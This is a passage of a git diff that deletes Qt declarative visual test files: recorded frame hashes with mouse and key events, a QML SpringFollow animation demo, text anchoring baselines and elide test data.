"4d23bbf68cb8b32638b73ac20551ee50" - } - Frame { - msec: 3536 - hash: "3f0326db5a851887a534e80cc29dc21d" - } - Frame { - msec: 3552 - hash: "df5902d22a31c4deac1428d2758a0ffa" - } - Frame { - msec: 3568 - hash: "21badb1464775fa935c2619b91aa6e6e" - } - Frame { - msec: 3584 - hash: "e8cf87f4a65f6915addc16de29c90108" - } - Frame { - msec: 3600 - hash: "d3d4487b887695b7bba8e0af7756a0f8" - } - Frame { - msec: 3616 - hash: "d7f52590e4f51621ad2d62c975a5d1ef" - } - Frame { - msec: 3632 - hash: "9ebdc2b3ef05748e2cc8988f968f7a37" - } - Frame { - msec: 3648 - hash: "74bb7974f9315e70e976c21955390b9e" - } - Frame { - msec: 3664 - hash: "59e16a89e523160f2a482c22f003f87f" - } - Frame { - msec: 3680 - hash: "d8284c216df0fdd37525f26b88707572" - } - Frame { - msec: 3696 - hash: "d8711b4444eea59acc544652cea3c4ce" - } - Frame { - msec: 3712 - hash: "12148c3f2b5f41a4ac4801e990b20114" - } - Frame { - msec: 3728 - hash: "34429cbdfe581a524b1f9072cc404539" - } - Frame { - msec: 3744 - hash: "1f6a17b91d73e10bcbdd166d97546822" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 195; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3760 - hash: "bccd4f135f27199b3a710576e0013c53" - } - Frame { - msec: 3776 - hash: "6aa4db9ecb8fa4ad4d4f81434c369759" - } - Frame { - msec: 3792 - hash: "a7f2951411d8f5322ce91b3da7e86d64" - } - Frame { - msec: 3808 - hash: "25fe19f3398d3d1a74ad8ed4114149d7" - } - Frame { - msec: 3824 - hash: "05c3dae68897a461de2923824bef9390" - } - Frame { - msec: 3840 - image: "follow.3.png" - } - Frame { - msec: 3856 - hash: "db6265c30dd614720d1532ffc411a28f" - } - Frame { - msec: 3872 - hash: "f5de8e4ba755bc0a1e4c3f36ed3e6a93" - } - Frame { - msec: 3888 - hash: "ad68229e5fe9a2570074648005c5e5df" - } - Frame { - msec: 3904 - hash: "02d894680766289fe659a86b02d6c9ca" - } - Frame { - msec: 3920 - hash: "4f228534dd909207e8d149c74bd8fd90" - } - Frame { - msec: 3936 - hash: "f0b5c64f6a50e156452caf6a352c11e1" - } - Frame { - msec: 3952 - hash: "64d46ff443534dbdb3cca88b7fc3e758" - } - Frame { - msec: 3968 - hash: "717ad4b8012a21c6ed38dee5ea978f36" - } - Frame { - msec: 3984 - hash: "ed38c7b528bcbb3e291761104bf1e86e" - } - Frame { - msec: 4000 - hash: "8cc8674d325a2c72c41654ffbe5bce1f" - } - Frame { - msec: 4016 - hash: "ab66dd60cc0e58d23bef5c709fe901ad" - } - Frame { - msec: 4032 - hash: "b3b824cae4ddaac4a224e84f0e282fa4" - } - Frame { - msec: 4048 - hash: "ead7fe4bec7987c24c305e114797284c" - } - Frame { - msec: 4064 - hash: "e5e9501f1ca61ea9f99aadfc5ca02214" - } - Frame { - msec: 4080 - hash: "f74a00eb31e1604f13a6ffb29fbd91b7" - } - Frame { - msec: 4096 - hash: "539aca62492408ccc1815c67b55cb399" - } - Frame { - msec: 4112 - hash: "4f548ad0eb7c4ce88a777e3b7ce2d3a8" - } - Frame { - msec: 4128 - hash: "b0190c5ed53ff812988dd7a2152ffa61" - } - Frame { - msec: 4144 - hash: "48214bdfbdcba256043e2cec7f5e321b" - } - Frame { - msec: 4160 - hash: "952614329111d1d83b0304aa919af177" - } - Frame { - msec: 4176 - hash: "fd874a73062dedfe7b904ad4c9fbcbc9" - } - Frame { - msec: 4192 - hash: "365b9a18cf37521718ef98589ac23933" - } - Frame { - msec: 4208 - hash: "32bbbf93d78925ef12f830386f0dbe2b" - } - Frame { - msec: 4224 - hash: "835d391a498b7d470b317e91453ba2f9" - } - Frame { - msec: 4240 - hash: "07d0cd82a39bfea2567587745f1e330d" - } - Frame { - msec: 4256 - hash: "9560a63581007038e1c463b906a4b346" - } - Frame { - msec: 4272 - hash: "076d25daafe8b582aeff39e247653285" - } - Frame { - msec: 4288 - hash: "f2e66dad3231250b951388396705c839" - } - Frame { - msec: 4304 - hash: "f168773343e928b60aad5430b9ca739d" - } - Frame { - msec: 4320 - hash: "99ed4dc4be1a0e8d98e1a54d51208da3" - } - Frame { - msec: 4336 - hash: "23b3e73a966f52ce6166bc91955570a1" - } - Frame { - msec: 4352 - hash: "00cdb999f3d2c6fcad708c37c3059c3d" - } - Frame { - msec: 4368 - hash: "96f1bef93ba1768afcc42924145d49ff" - } - Frame { - msec: 4384 - hash: "0a76f6d5ec710e4046f32f76be8e0d68" - } - Frame { - msec: 4400 - hash: "98f97a6c7eac1a493e81e79956177668" - } - Frame { - msec: 4416 - hash: "9424ca6ba64d0d0c0bd1ee9da1b5085a" - } - Frame { - msec: 4432 - hash: "2049a22079ac590aad3c9f6496879bcb" - } - Frame { - msec: 4448 - hash: "f70f9f6bd3abf3bdcb70038cda5ed311" - } - Frame { - msec: 4464 - hash: "48d6d01e1d80fea8eb05572ca26b692c" - } - Frame { - msec: 4480 - hash: "af152dc6de929a8231687611cc301f28" - } - Frame { - msec: 4496 - hash: "2ec869cd61570b570586870f80ba3832" - } - Frame { - msec: 4512 - hash: "42be0431c015dcd0f5f6dd59ba7c2d7d" - } - Frame { - msec: 4528 - hash: "abc112f396c5e504a19dce255437720c" - } - Frame { - msec: 4544 - hash: "a371c4f49af16bdacc5ab5abbfc99e99" - } - Frame { - msec: 4560 - hash: "1ebfd139bfabbbaf522acd63e3f47462" - } - Frame { - msec: 4576 - hash: "b36086718a3dd89500adbf67aa7b0f1d" - } - Frame { - msec: 4592 - hash: "e3ea2ad4955cb2ab8d503b331b3594c3" - } - Frame { - msec: 4608 - hash: "4214c9f474d7f11bed74e32f5b3a0e9f" - } - Frame { - msec: 4624 - hash: "f290e1dbf13ae399a2644eea3715804a" - } - Frame { - msec: 4640 - hash: "6538c60446e3303dc1126c3c9c47ae42" - } - Frame { - msec: 4656 - hash: "5319667f181eb5647710ccc6eddf43c9" - } - Frame { - msec: 4672 - hash: "b98b68ea99d5a107115b50c32aa45c35" - } - Frame { - msec: 4688 - hash: "2cc38e2915f77a46082c32c9393ae0c5" - } - Frame { - msec: 4704 - hash: "40c695b17834cbba86d4dde0729f620b" - } - Frame { - msec: 4720 - hash: "e8d5a95cfc726ce2626951ef1c68a948" - } - Frame { - msec: 4736 - hash: "ab96c1668890ceffba74219d83e15e99" - } - Frame { - msec: 4752 - hash: "4d69a73b3940911940b419028dabd223" - } - Frame { - msec: 4768 - hash: "281043e3c045df177cbfae1abf51a8d1" - } - Frame { - msec: 4784 - hash: "8adf6d8154d7950efe6b5bd7e2b760b6" - } - Frame { - msec: 4800 - image: "follow.4.png" - } - Frame { - msec: 4816 - hash: "7fba4249c76b7f81c2b88cf906ce8ce6" - } - Frame { - msec: 4832 - hash: "50b3c89d4d783469843b3acacb9690dd" - } - Frame { - msec: 4848 - hash: "29f950ab7e6299036e78c8f37d114990" - } - Frame { - msec: 4864 - hash: "3f8aecc5453406c9d8160eeb9691ed91" - } - Frame { - msec: 4880 - hash: "ad7ff48fed4ca9e236271d169c3bf696" - } - Frame { - msec: 4896 - hash: "2a2f872e4ef5c062a61fb59238df8794" - } - Frame { - msec: 4912 - hash: "87cf2e21d7e56a82437a8ff3fa2bdc8c" - } - Frame { - msec: 4928 - hash: "c3b04bb24d86d2aebd8fde7845f114cf" - } - Frame { - msec: 4944 - hash: "3ad95d59a1f1841e3ff2324055ca23c0" - } - Frame { - msec: 4960 - hash: "b91068fdce1fb2be9a64902a3dfa6b0d" - } - Frame { - msec: 4976 - hash: "30f0118eb0bba40927a8038da03b652b" - } - Frame { - msec: 4992 - hash: "ce5f3d15d3536be16b960f02a7335b99" - } - Frame { - msec: 5008 - hash: "85b853c3f48b915ed6e80815709e8ac2" - } - Frame { - msec: 5024 - hash: "c3511a76aa6dc2f1422a473ca4d80d0f" - } - Frame { - msec: 5040 - hash: "deb1df70b4e1801c635356c65c0a5a46" - } - Frame { - msec: 5056 - hash: "d04983df9b0ffc45e629af55a8e5cc95" - } - Frame { - msec: 5072 - hash: "2a55c97509819657f5f8604d4789d9d4" - } - Frame { - msec: 5088 - hash: "94589d594fa2e5ed621459ec2c8bd7e8" - } - Frame { - msec: 5104 - hash: "a8a1bd7c15a5bdfe15d6580d719bdba6" - } - Frame { - msec: 5120 - hash: "b4e1a4b1b649820be217c46b5086c8a4" - } - Frame { - msec: 5136 - hash: "4de7d7ce85717eb9a67c61745ea26c0a" - } - Frame { - msec: 5152 - hash: "c8ee53b7e659e10c7dbcf44e1a45f794" - } - Frame { - msec: 5168 - hash: "f46ce03bc5a932c39862577c5a5cd24c" - } - Frame { - msec: 5184 - hash: "d417370ed6fb99ccfa443eb97e6de331" - } - Frame { - msec: 5200 - hash: "336af06572992960c829d4a209048263" - } - Frame { - msec: 5216 - hash: "4066e8eef292abf9b58bc89b4b5f3ce9" - } - Frame { - msec: 5232 - hash: "360f037a02bf4a337b278886266ff2f1" - } - Frame { - msec: 5248 - hash: "79e9f387b0ce164057640c0caab8d10d" - } - Frame { - msec: 5264 - hash: "ee8741d1810303cfe5ecff39c7d52fdd" - } - Frame { - msec: 5280 - hash: "4cba1c857f0af49d7fe68584f99c89d7" - } - Frame { - msec: 5296 - hash: "c0ae482a2fbb9f15a2c2ff631cc85c2c" - } - Frame { - msec: 5312 - hash: "3b6bf6d6a0aeebdc92eff4e336fd3b6e" - } - Frame { - msec: 5328 - hash: "43033eb8aeba6b49c135a1702f6b8f47" - } - Frame { - msec: 5344 - hash: "1319c7e3a84484723891ee43a80bc765" - } - Frame { - msec: 5360 - hash: "838ec693c923565d77b060f262beb1e8" - } - Frame { - msec: 5376 - hash: "74306669836425de03cec617d4ed849a" - } - Frame { - msec: 5392 - hash: "c063f4951755c8939399d0d560a0f762" - } - Frame { - msec: 5408 - hash: "512c739e0ff25f7d6b983a193f7fc2c3" - } - Frame { - msec: 5424 - hash: "6c5f69cc2ce2992fd2ecb0ea3691e2b8" - } - Frame { - msec: 5440 - hash: "f5dbc5ce0ba00eafb9379ee86de67150" - } - Frame { - msec: 5456 - hash: "f62bb7d8d9749272ca3e2bd1931598fb" - } - Frame { - msec: 5472 - hash: "052fdac05286edcdd7fcd4d6d9582f39" - } - Frame { - msec: 5488 - hash: "ac4702306e5be156fe7b069cb90e1038" - } - Frame { - msec: 5504 - hash: "127e94c79f4d33e5f223a0853629245f" - } - Frame { - msec: 5520 - hash: "dd77216b0a90c46dd5c264d38ab0fd74" - } - Frame { - msec: 5536 - hash: "a4e50b39aa367d4cd7650d088d186856" - } - Frame { - msec: 5552 - hash: "6e14946b9b23f0fc137bd61c02af1ca5" - } - Frame { - msec: 5568 - hash: "8c550d5e4cfbcee2c7bd6c20dba53f41" - } - Frame { - msec: 5584 - hash: "9f2385fb614bdaafe022712148f786d2" - } - Frame { - msec: 5600 - hash: "c87903c96ae5a4b91c5bda524bfd4a4f" - } - Frame { - msec: 5616 - hash: "9a98de9b4237b7c0ccb4468344d410bc" - } - Frame { - msec: 5632 - hash: "7ff448f395ff50cde1f6e6cfaf0c1541" - } - Frame { - msec: 5648 - hash: "ab7a6998a5b26e3d58bd1d0a949f3709" - } - Frame { - msec: 5664 - hash: "ab7a6998a5b26e3d58bd1d0a949f3709" - } - Frame { - msec: 5680 - hash: "2e1b5636ab75af91bd5b0d48c04828f5" - } - Frame { - msec: 5696 - hash: "0976b605c78f6f8512acdfb61b9d123a" - } - Frame { - msec: 5712 - hash: "bb816bfd8bd3972c80c3a76c9ddf785e" - } - Frame { - msec: 5728 - hash: "c3518990fc7aa5660a9e86034cf4c46f" - } - Frame { - msec: 5744 - hash: "b27230d8aeb214e18b43de167213ef7b" - } - Frame { - msec: 5760 - image: "follow.5.png" - } - Frame { - msec: 5776 - hash: "fc55f00ae456c2687ed05ab4b6906a33" - } - Frame { - msec: 5792 - hash: "50051a48d1fae3bc9c9d1f0a964d9561" - } - Frame { - msec: 5808 - hash: "279a38d7261241c744c2317ea9843567" - } - Frame { - msec: 5824 - hash: "0b3ed3960713dbda36326b7de492c42e" - } - Frame { - msec: 5840 - hash: "fff5737541317406c4a0ef06f1cdc041" - } - Frame { - msec: 5856 - hash: "47aef0d79da45139a3981a75290cc9b8" - } - Frame { - msec: 5872 - hash: "d79f9f9371c76a855ea4f2cdeed97acd" - } - Frame { - msec: 5888 - hash: "66610a0d5b926d419da26e20b04b55a5" - } - Frame { - msec: 5904 - hash: "9891ad954da8535b44cc234bb2588f30" - } - Frame { - msec: 5920 - hash: "b53056146701fae1598ab49e6399db01" - } - Frame { - msec: 5936 - hash: "064799027a3f60458a3797c6c87d3e29" - } - Frame { - msec: 5952 - hash: "81ad252f10e6f8f2a08e7df1d25e8a47" - } - Frame { - msec: 5968 - hash: "09fbd923da02844f50ad25059f82560c" - } - Frame { - msec: 5984 - hash: "f41d8370afdce8a154ab42204ca8d92d" - } - Frame { - msec: 6000 - hash: "748b2d020c28b3ac36b08377b4a2544b" - } - Frame { - msec: 6016 - hash: "748b2d020c28b3ac36b08377b4a2544b" - } - Frame { - msec: 6032 - hash: "d8c02a54c0d1df20127025d547c741af" - } - Frame { - msec: 6048 - hash: "d8c02a54c0d1df20127025d547c741af" - } - Frame { - msec: 6064 - hash: "d7fd0dab22fec0f68ed01cfd6d32e7f5" - } - Frame { - msec: 6080 - hash: "f0b035eda10c07f5c3c825784ad96437" - } - Frame { - msec: 6096 - hash: "54b83800f8a01e1a4d57b8b1d371fb09" - } - Frame { - msec: 6112 - hash: "19ad51c31e9cfdb314c76f323574806c" - } - Frame { - msec: 6128 - hash: "dcf269a115781eb4df232a527de87a87" - } - Frame { - msec: 6144 - hash: "95053206702a6118c23b541ff7fbef0d" - } - Frame { - msec: 6160 - hash: "933a158398ee746c0465c2e7af9b6b4d" - } - Frame { - msec: 6176 - hash: "ade4a4aa03f5787dce1331ed27ff9c6e" - } - Frame { - msec: 6192 - hash: "9ecc7d4cb5cf0dd815e208e13e2c932a" - } - Frame { - msec: 6208 - hash: "98e40cba2e717e57a5dcd3413e166f65" - } - Frame { - msec: 6224 - hash: "f68f45b71f6d596eaa76fa2bc46cfe1b" - } - Frame { - msec: 6240 - hash: "9230c9b1013b83b073ccb90d2633043f" - } - Frame { - msec: 6256 - hash: "5d0fc4842b75703d29816fa0330624ba" - } - Frame { - msec: 6272 - hash: "5d0fc4842b75703d29816fa0330624ba" - } - Frame { - msec: 6288 - hash: "5d0fc4842b75703d29816fa0330624ba" - } - Frame { - msec: 6304 - hash: "96008d5b8446f67e07129d02300d122d" - } - Frame { - msec: 6320 - hash: "96008d5b8446f67e07129d02300d122d" - } - Frame { - msec: 6336 - hash: "96008d5b8446f67e07129d02300d122d" - } - Frame { - msec: 6352 - hash: "96008d5b8446f67e07129d02300d122d" - } - Frame { - msec: 6368 - hash: "96008d5b8446f67e07129d02300d122d" - } - Frame { - msec: 6384 - hash: "478be760047d33bd66017bdd304ff3ae" - } - Frame { - msec: 6400 - hash: "478be760047d33bd66017bdd304ff3ae" - } - Frame { - msec: 6416 - hash: "478be760047d33bd66017bdd304ff3ae" - } - Frame { - msec: 6432 - hash: "478be760047d33bd66017bdd304ff3ae" - } - Frame { - msec: 6448 - hash: "478be760047d33bd66017bdd304ff3ae" - } - Frame { - msec: 6464 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6480 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6496 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6512 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6528 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6544 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6560 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6576 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6592 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6608 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6624 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6640 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6656 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6672 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6688 - hash: "8ff11dfe2642dc099c240e8aef8285df" - } - Frame { - msec: 6704 - hash: "01ac8ff953f8f83c6fa2252fe6ff6698" - } - Frame { - msec: 6720 - image: "follow.6.png" - } - Frame { - msec: 6736 - hash: "01ac8ff953f8f83c6fa2252fe6ff6698" - } - Frame { - msec: 6752 - hash: "01ac8ff953f8f83c6fa2252fe6ff6698" - } - Frame { - msec: 6768 - hash: "01ac8ff953f8f83c6fa2252fe6ff6698" - } - Frame { - msec: 6784 - hash: "01ac8ff953f8f83c6fa2252fe6ff6698" - } - Frame { - msec: 6800 - hash: "01ac8ff953f8f83c6fa2252fe6ff6698" - } - Frame { - msec: 6816 - hash: "01ac8ff953f8f83c6fa2252fe6ff6698" - } - Frame { - msec: 6832 - hash: "96008d5b8446f67e07129d02300d122d" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 6848 - hash: "5d0fc4842b75703d29816fa0330624ba" - } - Frame { - msec: 6864 - hash: "5d0fc4842b75703d29816fa0330624ba" - } - Frame { - msec: 6880 - hash: "5d0fc4842b75703d29816fa0330624ba" - } - Frame { - msec: 6896 - hash: "5d0fc4842b75703d29816fa0330624ba" - } - Frame { - msec: 6912 - hash: "5d0fc4842b75703d29816fa0330624ba" - } - Frame { - msec: 6928 - hash: "5d0fc4842b75703d29816fa0330624ba" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml b/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml deleted file mode 100644 index 1659bb7..0000000 --- a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml +++ /dev/null @@ -1,71 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "#ffffff" - width: 320; height: 240 - Rectangle { - id: rect - color: "#00ff00" - y: 200; width: 60; height: 20 - SequentialAnimation on y { - loops: Animation.Infinite - NumberAnimation { - to: 20; duration: 500 - easing.type: "InOutQuad" - } - NumberAnimation { - to: 200; duration: 2000 - easing.type: "OutBounce" - } - PauseAnimation { duration: 1000 } - } - } - - // Velocity - Rectangle { - color: "#ff0000" - x: rect.width; width: rect.width; height: 20 - y: 200 - SpringFollow on y { source: rect.y; velocity: 200 } - } - - // Spring - Rectangle { - color: "#ff0000" - x: rect.width * 2; width: rect.width/2; height: 20 - y: 200 - SpringFollow on y { source: rect.y; spring: 1.0; damping: 0.2 } - } - Rectangle { - color: "#880000" - x: rect.width * 2.5; width: rect.width/2; height: 20 - y: 200 - SpringFollow on y { source: rect.y; spring: 1.0; damping: 0.2; mass: 3.0 } // "heavier" object - } - - // Follow mouse - MouseArea { - id: mouseRegion - anchors.fill: parent - Rectangle { - id: ball - width: 20; height: 20 - radius: 10 - color: "#0000ff" - SpringFollow on x { id: f1; source: mouseRegion.mouseX-10; spring: 1.0; damping: 0.05; epsilon: 0.25 } - SpringFollow on y { id: f2; source: mouseRegion.mouseY-10; spring: 1.0; damping: 0.05; epsilon: 0.25 } - states: [ - State { - name: "following" - when: !f1.inSync || !f2.inSync - PropertyChanges { target: ball; color: "#ff0000" } - } - ] - transitions: [ - Transition { - ColorAnimation { duration: 200 } - } - ] - } - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/baseline/data-X11/parentanchor.qml b/tests/auto/declarative/visual/qdeclarativetext/baseline/data-X11/parentanchor.qml deleted file mode 100644 index 56d616e..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/baseline/data-X11/parentanchor.qml +++ /dev/null @@ -1,131 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 32 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 48 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 64 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 80 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 96 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 112 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 128 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 144 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 160 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 176 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 192 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 208 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 224 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 240 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 256 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 272 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 288 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 304 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 320 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 336 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 352 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 368 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 384 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 400 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 416 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 432 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 448 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 464 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 480 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 496 - hash: "3e022a120a2dbe688d53657508de36cf" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/baseline/data/parentanchor.qml b/tests/auto/declarative/visual/qdeclarativetext/baseline/data/parentanchor.qml deleted file mode 100644 index 56d616e..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/baseline/data/parentanchor.qml +++ /dev/null @@ -1,131 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 32 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 48 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 64 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 80 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 96 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 112 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 128 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 144 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 160 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 176 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 192 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 208 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 224 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 240 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 256 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 272 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 288 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 304 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 320 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 336 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 352 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 368 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 384 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 400 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 416 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 432 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 448 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 464 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 480 - hash: "3e022a120a2dbe688d53657508de36cf" - } - Frame { - msec: 496 - hash: "3e022a120a2dbe688d53657508de36cf" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/baseline/parentanchor.qml b/tests/auto/declarative/visual/qdeclarativetext/baseline/parentanchor.qml deleted file mode 100644 index 80f0f03..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/baseline/parentanchor.qml +++ /dev/null @@ -1,14 +0,0 @@ -import Qt 4.6 - -Rectangle { - id: s; width: 600; height: 100; color: "lightsteelblue" - property string text: "The quick brown fox jumps over the lazy dog." - Text { - text: s.text - anchors.verticalCenter: s.verticalCenter - } - Text { - text: s.text - anchors.baseline: s.verticalCenter - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide.0.png b/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide.0.png deleted file mode 100644 index eea3362..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide.qml deleted file mode 100644 index 1ccede4..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide.qml +++ /dev/null @@ -1,279 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 32 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 48 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 64 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 80 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 96 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 112 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 128 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 144 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 160 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 176 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 192 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 208 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 224 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 240 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 256 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 272 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 288 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 304 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 320 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 336 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 352 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 368 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 384 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 400 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 416 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 432 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 448 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 464 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 480 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 496 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 512 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 528 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 544 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 560 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 576 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 592 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 608 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 624 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 640 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 656 - hash: "1678890d66761a30100c37132ccec9a2" - } - Frame { - msec: 